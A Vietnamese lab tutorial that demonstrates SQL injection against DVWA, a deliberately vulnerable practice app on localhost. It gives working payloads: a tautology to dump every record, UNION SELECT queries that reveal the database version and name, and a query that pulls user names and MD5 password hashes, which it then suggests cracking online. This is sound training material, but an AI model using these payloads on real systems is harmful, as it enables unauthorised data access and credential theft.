Thực hành tấn công SQL Injection trên DVWA
Trong phần 2: Công cụ Pentest
đã cài đặt chương trình DVWA, phần này thử nghiệm tấn công SQL Injection
Bước 1: Đăng nhập http://localhost/dvwa/login.php và thiết lập chế độ bảo mật Low cho phần mềm với User=admin và password = password
Bước 2: Vào mục SQL Injection (Blind) và tiến hành thử nghiệm
Tại hộp text này nếu chúng ta nhập ID (id=1 tới 5) thì sẽ hiễn thị từng bản ghi trong CSDL vì đã được lập trình với câu lệnh sql truy vấn như sau:
$getid = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘”;
(hình 1: )
Nhưng giờ ta nhập:
Trường hợp 1:
- · ID tại text có giá trị:
- %’ or ‘0’=’0
- Nhấn Submit
- Giải thích
- Ký tự %’ Có thể là không đúng với CSDL nào
- ‘0’=’0′ – Biểu thước luôn đúng (sẽ thực hiện vế này)
- Như vậy câu truy vấn bây giờ sẽ là:
- mysql> SELECT first_name, last_name FROM users WHERE user_id = ‘%’ or ‘0’=’0′
Vậy sẽ hiển thị tất cả các bản ghi trong CSDL.
(hình 2)
Trường hợp 2:
Hiển thị phiên bản CSDL Mysql
- Nhập tại Text:
%’ or 0=0 union select null, version() #
Và nhấn Submit
- Giải thích:
Hàm union: ghép chuổi, hàm version() hiển thị phiên bản
- Dòng cuối cùng của thông tin chính là phiên bản CSDL
(hình 3)
Trường hợp 3: Hiển thị tên CSDL
Hiển thị tên CSDL
- Nhập tại Text:
- %’ or 0=0 union select null, database() #
Hàm database() hiển thị tên CSDL sẽ được hiển thị ở bản ghi cuối cùng.
(hình 4)
Trường hợp 4: Hiển thị nội dung các cột của bảng User trong CSDL
- Nhập:
- %’ and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
Và nhấn Submit
(hình 5)
Password trong cột password được hiển thị cùng tên User, vì password thường được mã hóa dưới dạng Md5, nên ta có thể vào các trang web online để giãi mã, ta có thể dùng trang
và nhập chuổi md5 và sẽ cho kết quả là password (đúng với tài khoản admin)
Video:
(kết thúc bài thực hành SQL Injection)
Lượt xem (7059)
Để lại bình luận: